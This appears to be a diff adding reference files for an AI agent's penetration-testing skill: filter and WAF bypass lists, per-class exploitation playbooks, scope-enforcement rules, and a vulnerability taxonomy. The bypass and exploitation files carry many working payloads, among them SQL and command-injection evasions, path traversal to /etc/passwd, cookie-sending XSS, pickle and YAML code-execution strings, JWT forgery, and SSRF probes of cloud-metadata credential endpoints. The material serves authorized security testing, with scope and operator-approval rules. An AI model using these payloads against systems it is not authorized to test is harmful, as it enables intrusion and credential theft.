Hermes-agent

2026-06-14 14:30:48 -04:00
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+# Bypass Techniques
+
+Common filter/WAF bypasses. Used during the bypass-exhaustion phase
+before classifying a finding as false positive.
+
+A finding may only be marked `false_positive` AFTER the relevant
+bypass set has been exhausted and the witnesses still fail.
+
+## SQL Injection Bypasses
+
+When `'` is filtered/escaped:
+- Numeric injection: drop the quote, use `1 OR 1=1`
+- Different quote: `"` instead of `'`
+- Comment-based: `1/**/OR/**/1=1`
+- Hex literal: `0x61646d696e` for `admin`
+- `CHAR(65,66)` for `AB`
+- Case variation: `OoRr` (often stripped to `OR`)
+- Inline comments: `O/**/R`
+- Null byte: `' %00 OR '1`=`1`
+- Double URL encoding: `%2527` for `'`
+- Multi-byte: `%bf%27` (works against some single-byte unescape)
+
+## Command Injection Bypasses
+
+When semicolons filtered:
+- Newline: `%0Asleep 5`
+- Carriage return: `%0Dsleep 5`
+- Pipe: `|sleep 5`, `||sleep 5`
+- Background: `&sleep 5`, `&&sleep 5`
+- Substitution: `$(sleep 5)`, `` `sleep 5` ``
+- Globbing: `/???/?l??p 5` for `/bin/sleep 5`
+- IFS for spaces: `sleep${IFS}5`, `sleep$IFS$95`
+- Quote evasion: `s""leep 5`, `s'l'eep 5`
+- Variable: `a=sl;b=eep;${a}${b} 5`
+- Encoding: `bash<<<$(base64 -d <<< c2xlZXAgNQo=)`
+
+## Path Traversal Bypasses
+
+When `../` filtered:
+- URL-encoded: `%2e%2e%2f`
+- Double URL-encoded: `%252e%252e%252f`
+- Unicode: `%c0%ae%c0%ae%c0%af`, `%uff0e%uff0e%u2215`
+- Mixed: `..%2f`, `%2e./`
+- Null byte (older platforms): `../../../etc/passwd%00.png`
+- Backslash on Windows: `..\..\..\windows\win.ini`
+- Absolute path: `/etc/passwd` (skips traversal entirely)
+
+When base dir is prepended (`/var/www/uploads/${v}`):
+- The traversal still works if `realpath` not enforced
+- Try ending the path early: `../../etc/passwd%00`
+
+## XSS Bypasses
+
+When `<script>` blocked:
+- `<img src=x onerror=...>`
+- `<svg/onload=...>`
+- `<iframe srcdoc="...">`
+- `<details ontoggle=...>` (HTML5)
+- `<video><source onerror=...>`
+- `<input autofocus onfocus=...>`
+
+When parens filtered:
+- Template literals: `onerror=alert\`1\``
+- `onerror=eval('alert(1)')` → `onerror=eval(name)` + set
+  `window.name` from attacker page
+
+When event handlers stripped:
+- `<a href="javascript:alert(1)">` (often still works)
+- `<form action="javascript:alert(1)"><input type=submit>`
+- SVG: `<svg><animate attributeName=href values=javascript:alert(1) ...>`
+
+When `alert` filtered:
+- `confirm(1)`, `prompt(1)`, `print()`
+- `top.alert(1)`, `self['ale'+'rt'](1)`
+- `window['ale\u0072t'](1)` (unicode in property access)
+- `Function("alert(1)")()`
+
+CSP bypasses (require CSP misconfig):
+- `unsafe-inline` allows everything
+- `unsafe-eval` allows `eval`/`Function`
+- Wildcard sources (`*.googleapis.com`) — angular/jsonp gadgets
+- `'strict-dynamic'` without nonce/hash on inline → still blocked but
+  external scripts allowed via trusted loader
+- Old CSP without `default-src`/`script-src` → only blocks listed
+
+## Authentication Bypasses
+
+- HTTP verb tampering: `GET /admin` blocked → try `POST`, `PUT`, `OPTIONS`
+- Path normalization: `/admin/` blocked → try `/admin`, `/admin/.`,
+  `/admin/x/..`, `//admin`, `/%2e/admin`, `/Admin` (case)
+- Header injection: `X-Original-URL: /admin`, `X-Forwarded-For: 127.0.0.1`,
+  `X-Real-IP: 127.0.0.1`, `X-Forwarded-Proto: https`
+- Trailing chars: `/admin#`, `/admin?`, `/admin/`, `/admin.json`,
+  `/admin..;/`, `/admin/..;/`
+- Method confusion via `X-HTTP-Method-Override: GET`
+
+## SSRF Bypasses
+
+When `127.0.0.1` blocked:
+- IPv6 loopback: `[::1]`, `[0:0:0:0:0:0:0:1]`
+- Decimal IP: `2130706433` for `127.0.0.1`
+- Hex IP: `0x7f000001`
+- Octal: `0177.0.0.1`
+- Short form: `127.1`, `0.0.0.0`, `0`
+- DNS rebinding: control a DNS server, return `127.0.0.1` on second
+  resolution (TTL=0)
+- DNS records that resolve to internal IPs: `localtest.me` (127.0.0.1)
+- URL parsing differentials: `http://allowed-host@127.0.0.1`,
+  `http://127.0.0.1#@allowed-host`
+- IDN homograph: `http://1．0．0．1` (fullwidth dots)
+
+When schemes blocked:
+- `gopher://`, `dict://`, `file://`, `ftp://`
+- `data:` (for content-type bypass)
+- `jar:` (Java)
+
+## Rate Limit Bypasses
+
+- Header rotation: `X-Forwarded-For`, `X-Real-IP`, `X-Originating-IP`,
+  `X-Client-IP`, `X-Cluster-Client-IP`, `Forwarded`
+- Case: `X-FORWARDED-FOR`
+- User-Agent variation
+- Different endpoint that hits same handler
+
+## Bypass Discipline
+
+For each bypass attempt:
+1. Note WHAT you tried and WHY it might work (in your evidence log)
+2. Capture the response
+3. If still blocked, move to the next item in the bypass set
+4. Only after the documented bypass set is exhausted do you write
+   `verdict: false_positive` with reason "bypass set exhausted; defense
+   appears effective for this slot type."
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+# Exploitation Techniques
+
+Per-class playbooks. Use these as starting points for witness payloads.
+ALWAYS apply scope enforcement before sending anything from this file.
+
+## Injection
+
+### SQL Injection
+
+Witness sequence (UNION-blind safe):
+1. Baseline: capture response for original parameter
+2. `' AND 1=1--` (true branch)
+3. `' AND 1=2--` (false branch)
+4. Compare lengths/bodies. Difference = SQLi.
+
+Time-based:
+- MySQL: `' AND SLEEP(5)--`
+- Postgres: `'; SELECT pg_sleep(5)--`
+- MSSQL: `'; WAITFOR DELAY '0:0:5'--`
+- SQLite: `' AND randomblob(100000000)--` (CPU-burn alternative)
+
+DO NOT send: `'; DROP TABLE` payloads. Reproducing the bug doesn't
+require destruction.
+
+### Command Injection
+
+Witness:
+- Linux: `; sleep 5` or `$(sleep 5)` or `` `sleep 5` ``
+- Windows: `& timeout /t 5`
+- If output is reflected: `; echo HERMESPENTEST-$(id)`
+
+Blind: time-delay probe is universally safe. Don't `rm -rf`.
+
+### Path Traversal
+
+Witness: `../../../../etc/passwd` (Linux) or `..\..\..\..\windows\win.ini` (Windows).
+Try with: URL-encoded, double-encoded, Unicode (`%c0%ae%c0%ae`),
+and SMB UNC (`\\evil-host\share` — only with operator OK).
+
+### SSTI (Server-Side Template Injection)
+
+Witness:
+- Jinja2: `{{7*7}}` → `49`
+- Twig: `{{7*7}}` → `49`
+- Smarty: `{$smarty.version}` or `{php}echo 1;{/php}`
+- ERB: `<%= 7*7 %>` → `49`
+- Velocity: `#set($x=7*7)$x`
+
+Detection is the 49 (or template-specific equivalent). Don't go to RCE
+without operator OK.
+
+### Deserialization
+
+If you can identify the format:
+- Pickle: send `cos\nsystem\n(S'sleep 5'\ntR.` (base64'd, in the
+  right context). Witness via time delay.
+- YAML: `!!python/object/apply:os.system ["sleep 5"]`
+- Java serialized: ysoserial gadgets, only with operator OK because
+  these almost always RCE.
+
+## XSS
+
+### Reflected
+
+Witness: `<svg/onload=fetch("/HERMES-PENTEST-XSS-"+document.cookie)>`
+where the path is one you'll grep for in server logs. NEVER use
+`alert(1)` — pop-ups annoy real users if your "test" target has any.
+
+If reflected unencoded → L3 confirmed.
+
+### Stored
+
+Witness in a way that ONLY YOUR test account sees first. Use a unique
+marker per finding. If the marker fires for other users → L4 critical.
+
+Pattern: `<svg/onload=fetch("/HERMES-${runId}-${vulnId}")>`. Add a
+server-side log grep step to your evidence.
+
+### DOM XSS
+
+Inspect every `document.write`, `innerHTML`, `eval`, `setTimeout(string)`,
+`Function(string)`, `setAttribute("href", ...)` site. The taint source
+is usually `location.hash`, `location.search`, `localStorage`,
+`postMessage` data, URL fragments.
+
+Witness: navigate to `#<img src=x onerror=...>`. Confirm the
+sink fires.
+
+## Auth
+
+### Login Bypass
+
+- SQLi in login: `' OR '1'='1` (very old, but check)
+- Boolean defaults: `username: admin, password: admin/password/123456`
+  (only on lab targets, not production)
+- Account enumeration: timing or response difference between
+  "unknown user" vs "wrong password"
+- Rate limiting: send 50 wrong passwords in 30s; see if you're throttled
+
+### JWT Attacks
+
+1. **alg:none**: change header to `{"alg":"none","typ":"JWT"}`, strip
+   signature. If accepted → critical.
+2. **alg confusion**: HS256 signed with the RS256 public key. If the
+   server stores the RS256 cert as a "secret" and the algorithm is
+   attacker-controlled, this works.
+3. **Weak HMAC secret**: try `jwt_tool` or `hashcat` against the JWT
+   with rockyou.txt (only if you have operator OK to crack).
+4. **kid header injection**: `kid` set to a SQLi payload or path-traversal
+   to load a known key.
+5. **Expired token still accepted**: replay an old token.
+
+### Session
+
+- Cookie attrs: `Secure`, `HttpOnly`, `SameSite=Strict|Lax`.
+- Session fixation: log in, note cookie, log out, log in again — same
+  cookie? Vulnerable.
+- Logout: does logout invalidate server-side, or just clear the client?
+
+### Password Reset
+
+- Predictable token (timestamp, sequential, weak random)
+- Host header poisoning in reset link (`Host: evil.test`)
+- No rate limit on reset endpoint
+- Token reuse / no expiry
+- Email enumeration via reset response
+
+## Authz (Access Control)
+
+### IDOR
+
+Pattern: change `?id=123` to `?id=124`. If you see another user's data,
+L3 confirmed.
+
+Variants:
+- Sequential IDs (easy)
+- UUIDs (still try — they leak in logs/responses)
+- Mass assignment: send extra params like `is_admin: true`, `role: admin`
+- HTTP method override: `GET /users/123` works, but `PUT /users/123` is
+  not authz-checked
+
+### Privilege Escalation
+
+Vertical: regular user → admin endpoint. Check:
+- `/admin/*` accessible to non-admin?
+- `role` field in JWT/session client-editable?
+- Tenant ID swap: `tenant_id=mine` → `tenant_id=theirs`
+
+Horizontal: user A → user B same role. Reuse IDOR patterns.
+
+### Business Logic
+
+- Negative quantity in cart
+- Race conditions (double-spend, atomicity)
+- Workflow skip (POST to step 3 without doing step 2)
+- Coupon stacking
+- Discount > total
+
+## SSRF
+
+Witnesses for SSRF probing (only to hosts the operator approved):
+
+- Operator-owned callback (`https://hermes-callback.example/abcdef`)
+  — confirms the request left the target's network
+- Internal recon (operator OK + scope): `http://127.0.0.1:6379/`,
+  `http://127.0.0.1:9200/`, `http://[::1]:80/`
+
+Cloud metadata (operator OK + your own infra):
+- AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/`
+- GCP: `http://metadata.google.internal/computeMetadata/v1/` (needs
+  `Metadata-Flavor: Google`)
+- Azure: `http://169.254.169.254/metadata/identity/oauth2/token`
+- Alibaba/Aliyun: `http://100.100.100.200/`
+
+Protocol smuggling:
+- `gopher://` for Redis/Memcache/SMTP attacks (only with operator OK)
+- `file:///` for local file read
+- `dict://` for service probing
+
+## Infra
+
+- Headers audit: missing `Strict-Transport-Security`, `Content-Security-Policy`,
+  `X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`,
+  `Referrer-Policy`
+- TLS audit: weak ciphers, missing HSTS, mixed content
+- Information disclosure: `Server:`, `X-Powered-By:`, error stack traces,
+  default landing pages (`/server-status`, `/.git/`, `/.env`, `/phpinfo.php`)
+- Default creds: only on lab targets
+- Open redirects: `?next=https://evil.example/` — confirms misuse for
+  phishing chains
+
+## Defense Recognition (don't waste cycles)
+
+Skip past these — they're working defenses, not vulns:
+
+- Parameterized queries via the language's standard binding
+- Content Security Policy with no `unsafe-inline`/`unsafe-eval` and
+  a strict source list
+- argv-list subprocess invocation (Python `subprocess.run([...])`
+  without `shell=True`)
+- `yaml.safe_load`, JSON-only deserialization
+- Allowlist-based redirects to a small set of known hosts
+- Auth checks with explicit "owner == current_user" on every record fetch
+- JWT verification with both `alg` allowlist and `iss`/`aud`/`exp` checks
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+# Scope Enforcement
+
+The pentest skill is dangerous because Hermes can drive network tools
+unattended. The single most important rule: **every active request must
+target a host the operator authorized.** This file is the procedure.
+
+## The Three Authorities
+
+1. `engagement/authorization.md` — what the operator wrote down.
+2. `engagement/scope.txt` — the machine-readable allowlist.
+3. The current shell prompt — implicit: "I'm running as Hermes inside
+   the operator's box."
+
+If any of those three disagree, you STOP and ask. Don't try to reconcile.
+
+## scope.txt format
+
+One target per line. Comments with `#`.
+
+```
+# Hostnames — resolved at use time
+localhost
+127.0.0.1
+::1
+staging.example.com
+api-staging.example.com
+
+# CIDR — internal labs only, requires operator OK in writing
+192.168.50.0/24
+10.0.5.0/24
+```
+
+Wildcards are NOT supported. If you need `*.staging.example.com`, list
+each host explicitly. This is on purpose: subdomain wildcards in
+authorization scope are how unauthorized testing happens.
+
+## Host Extraction Rules
+
+Before any active request, extract the target host from the command
+or URL and confirm it's in scope.
+
+| Surface | Where the host lives | Example |
+|---------|----------------------|---------|
+| `curl URL` | The URL | `curl https://staging.example.com/login` |
+| `curl --resolve HOST:PORT:ADDR` | HOST | reject — resolve overrides scope |
+| `nmap TARGET` | Each TARGET arg | `nmap 10.0.5.5 staging.example.com` |
+| `whatweb URL` | The URL | `whatweb https://staging.example.com` |
+| `browser_navigate(url)` | The URL | python-side: extract host from `url` |
+| Tool-driven HTTP (sqlmap, wfuzz, gobuster) | `-u`, `-h`, target arg | depends on tool |
+
+For URLs: `urllib.parse.urlparse(url).hostname.lower()`.
+For raw IPs: keep as IP, check against CIDR entries with
+`ipaddress.ip_address(host) in ipaddress.ip_network(cidr)`.
+
+## Pre-Send Checklist
+
+For every active request, before you press enter:
+
+1. Did you extract the host correctly? (URL host, not Host header, not
+   `--resolve` aliasing.)
+2. Is the host in scope.txt (exact hostname match) OR is its resolved
+   IP in a scope.txt CIDR?
+3. If it's a redirect target you're following, did you re-check scope
+   on the redirect URL?
+4. If it's the second hop of an SSRF probe, is the inner URL in scope?
+   (Usually NOT — that's the whole point. Don't auto-fire.)
+5. Did the operator approve this class of payload? (Read-only recon
+   is auto-OK; destructive payloads need explicit OK.)
+
+If any answer is "no" or "not sure," STOP and ask the operator.
+
+## Things That Look In-Scope But Aren't
+
+- **Redirects to a parent or sister host.** `staging.example.com` →
+  `auth.example.com` is a different host. Stop, re-confirm.
+- **CNAMEs.** `app.staging.example.com` may CNAME to
+  `prod-cluster.aws.example.com`. Resolve and check IP, not just name.
+- **Cloud metadata IPs.** `169.254.169.254` is not in any sane
+  scope.txt. If your SSRF candidate resolves there, you're probably
+  testing against a real cloud host and need explicit approval before
+  the probe.
+- **127.0.0.1 / localhost on a shared box.** If you're in a container
+  or shared dev box, `localhost` may be someone else's service.
+  Confirm with the operator that 127.0.0.1 means what they think.
+- **External services the target depends on.** Stripe API, OAuth
+  providers, S3 buckets — even if your tests would touch them, they
+  are NOT in scope by default.
+
+## When Scope Fails Open
+
+If you can't decide whether a host is in scope:
+
+```
+DEFAULT: out of scope.
+```
+
+Stop the agent. Ask the operator. Resume only after written
+confirmation. There is no penalty for asking; there is significant
+penalty for testing the wrong host.
+
+## Logging
+
+Every active request should append to `engagement/request-log.jsonl`:
+
+```json
+{"ts": "2026-05-25T03:14:15Z", "method": "GET", "url": "https://staging.example.com/api/users", "host": "staging.example.com", "in_scope": true, "phase": "recon", "result_status": 200, "evidence_ref": "evidence/recon.md#endpoints"}
+```
+
+This is your audit trail. If anyone ever asks "why did the pentest
+agent hit X?" you can answer from this log.
@@ -0,0 +1,81 @@
+# Vulnerability Taxonomy
+
+Two classification systems used during analysis. Both come from Shannon
+(concepts only; rewritten here). Both exist to make the question
+"is this exploitable?" mechanical instead of vibes-based.
+
+## Injection: Slot Types
+
+Every injection sink has a **slot type** — the lexical position the
+attacker payload lands in. Each slot type has a small set of
+**required defenses**. A mismatch is a vulnerability. The same defense
+applied to the wrong slot is also a vulnerability.
+
+| Slot | Example | Required defense |
+|------|---------|------------------|
+| `SQL-val` | `SELECT * FROM u WHERE id = :v` | Parameterized binding |
+| `SQL-ident` | `SELECT * FROM ${table}` | Allowlist on identifier values |
+| `SQL-keyword` | `ORDER BY ${col} ${dir}` | Allowlist on column AND direction |
+| `CMD-argument` | `subprocess.run(["ls", v])` | argv list (never shell=True) |
+| `CMD-shell` | `os.system("ls " + v)` | DON'T — refactor to argv list |
+| `PATH-segment` | `open("/data/" + v)` | Normalize + allowlist + base-relative check |
+| `URL-host` | redirect to `https://${v}/x` | Allowlist of acceptable hosts |
+| `URL-fetch` | `requests.get(v)` | Allowlist + block private/metadata IPs (SSRF) |
+| `TEMPLATE-string` | `Template("Hello {{ v }}")` | Autoescape ON, no user-controlled template syntax |
+| `DESERIALIZE-pickle` | `pickle.loads(v)` | DON'T — use JSON / msgpack |
+| `DESERIALIZE-yaml` | `yaml.load(v)` | `yaml.safe_load`, never `yaml.load` |
+| `XPATH-expr` | `tree.xpath("//u[@id='" + v + "']")` | Parameterized XPath or escape |
+| `LDAP-filter` | `(uid=${v})` | LDAP filter escaping |
+| `REGEX-pattern` | `re.search(v, text)` | Don't take pattern from user (ReDoS too) |
+| `LOG-record` | `log.info("got " + v)` | Encode CR/LF/control chars before logging |
+| `EMAIL-header` | `Subject: ${v}` | Reject CR/LF |
+| `HTTP-header` | `Set-Cookie: ${v}` | Reject CR/LF (response splitting) |
+
+When you classify a finding:
+1. Identify the slot type
+2. Identify the actual defense in the code (if you have source)
+3. If defense doesn't match the required-defense set: vulnerable
+
+## XSS: Render Contexts
+
+XSS exploitability depends on **where** in the HTML/JS the value lands.
+Encoding for one context doesn't protect another.
+
+| Context | Example | Required encoding |
+|---------|---------|-------------------|
+| `HTML_BODY` | `<div>{{ v }}</div>` | HTML entity encode `<>&"'` |
+| `HTML_ATTR_QUOTED` | `<a href="{{ v }}">` | HTML attr encode |
+| `HTML_ATTR_UNQUOTED` | `<a href={{ v }}>` | Almost impossible to safely encode; quote the attr |
+| `URL_ATTR` (href/src) | `<a href="{{ v }}">` | Validate scheme allowlist + attr encode |
+| `JAVASCRIPT_STRING` | `<script>var x = "{{ v }}";</script>` | JS string escape + ensure quote consistency |
+| `JAVASCRIPT_BLOCK` | `<script>{{ v }}</script>` | DON'T — refactor; no safe encoding |
+| `CSS_VALUE` | `<style>color: {{ v }};</style>` | CSS encode + allowlist scheme/format |
+| `CSS_BLOCK` | `<style>{{ v }}</style>` | DON'T — refactor |
+| `JSON_RESPONSE` (consumed by JS) | `JSON.parse(response)` | JSON encode + correct content-type header |
+| `EVENT_HANDLER` | `<div onclick="{{ v }}">` | JS string escape *inside* HTML attr encode |
+| `URL_PATH` (router-driven) | route param echoed unencoded | URL-encode + HTML-encode |
+| `DOM_INNERHTML` | `el.innerHTML = v` (DOM XSS) | Use `textContent` instead, or DOMPurify |
+| `DOM_DOC_WRITE` | `document.write(v)` | DON'T — refactor |
+
+When you classify:
+1. Identify the render context where user input lands
+2. Identify the encoding applied
+3. Mismatch = vulnerable. Even "HTML encoded" output in
+   `JAVASCRIPT_STRING` is exploitable (`</script><script>` evasion).
+
+## OWASP Top 10 (2021) Mapping
+
+For reporting:
+
+| OWASP | Slot/context covered |
+|-------|----------------------|
+| A01 Broken Access Control | authz class (IDOR, vertical/horizontal) |
+| A02 Cryptographic Failures | infra class (weak TLS, plaintext storage) |
+| A03 Injection | injection class (all slot types except deserialize) |
+| A04 Insecure Design | reported in findings narrative |
+| A05 Security Misconfiguration | infra class |
+| A06 Vulnerable Components | infra class (whatweb output) |
+| A07 Auth Failures | auth class |
+| A08 Software/Data Integrity | DESERIALIZE-* slots, also supply chain |
+| A09 Logging/Monitoring | infra class (out of scope for active testing) |
+| A10 SSRF | ssrf class |